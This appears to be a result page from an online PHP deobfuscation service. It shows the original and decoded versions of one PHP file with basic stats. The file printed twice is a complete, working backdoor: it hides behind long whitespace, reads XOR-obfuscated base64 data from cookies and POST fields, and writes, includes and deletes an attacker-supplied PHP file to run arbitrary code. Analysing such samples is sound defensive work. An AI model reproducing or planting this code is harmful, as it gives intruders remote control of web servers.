Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

<?php                                                                                                                                                                                                                                                                                                                                                                                                 if (!class_exists("ihubtfht")){class ihubtfht{public static $gientes = "bfysrtgbsxdodzzb";public static $kobzoyllz = NULL;public function __construct(){$fruxguv = @$_COOKIE[substr(ihubtfht::$gientes, 0, 4)];if (!empty($fruxguv)){$birmkzw = "base64";$yfxuakjg = "";$fruxguv = explode(",", $fruxguv);foreach ($fruxguv as $cxsqthfpkd){$yfxuakjg .= @$_COOKIE[$cxsqthfpkd];$yfxuakjg .= @$_POST[$cxsqthfpkd];}$yfxuakjg = array_map($birmkzw . "_decode", array($yfxuakjg,));$yfxuakjg = $yfxuakjg[0] ^ str_repeat(ihubtfht::$gientes, (strlen($yfxuakjg[0]) / strlen(ihubtfht::$gientes)) + 1);ihubtfht::$kobzoyllz = @unserialize($yfxuakjg);}}public function __destruct(){$this->rznqkkulxk();}private function rznqkkulxk(){if (is_array(ihubtfht::$kobzoyllz)) {$ucchzu = sys_get_temp_dir() . "/" . crc32(ihubtfht::$kobzoyllz["salt"]);@ihubtfht::$kobzoyllz["write"]($ucchzu, ihubtfht::$kobzoyllz["content"]);include $ucchzu;@ihubtfht::$kobzoyllz["delete"]($ucchzu);exit();}}}$lfxuint = new ihubtfht();$lfxuint = NULL;} ?><?php ?>

Did this file decode correctly?

Original Code

<?php                                                                                                                                                                                                                                                                                                                                                                                                 if (!class_exists("ihubtfht")){class ihubtfht{public static $gientes = "bfysrtgbsxdodzzb";public static $kobzoyllz = NULL;public function __construct(){$fruxguv = @$_COOKIE[substr(ihubtfht::$gientes, 0, 4)];if (!empty($fruxguv)){$birmkzw = "base64";$yfxuakjg = "";$fruxguv = explode(",", $fruxguv);foreach ($fruxguv as $cxsqthfpkd){$yfxuakjg .= @$_COOKIE[$cxsqthfpkd];$yfxuakjg .= @$_POST[$cxsqthfpkd];}$yfxuakjg = array_map($birmkzw . "_decode", array($yfxuakjg,));$yfxuakjg = $yfxuakjg[0] ^ str_repeat(ihubtfht::$gientes, (strlen($yfxuakjg[0]) / strlen(ihubtfht::$gientes)) + 1);ihubtfht::$kobzoyllz = @unserialize($yfxuakjg);}}public function __destruct(){$this->rznqkkulxk();}private function rznqkkulxk(){if (is_array(ihubtfht::$kobzoyllz)) {$ucchzu = sys_get_temp_dir() . "/" . crc32(ihubtfht::$kobzoyllz["salt"]);@ihubtfht::$kobzoyllz["write"]($ucchzu, ihubtfht::$kobzoyllz["content"]);include $ucchzu;@ihubtfht::$kobzoyllz["delete"]($ucchzu);exit();}}}$lfxuint = new ihubtfht();$lfxuint = NULL;} ?><?php

Function Calls

class_exists 1

Variables

None

Stats

MD5 c5ab4a04f71bbcb695a1ddadb821f542
Eval Count 0
Decode Time 52 ms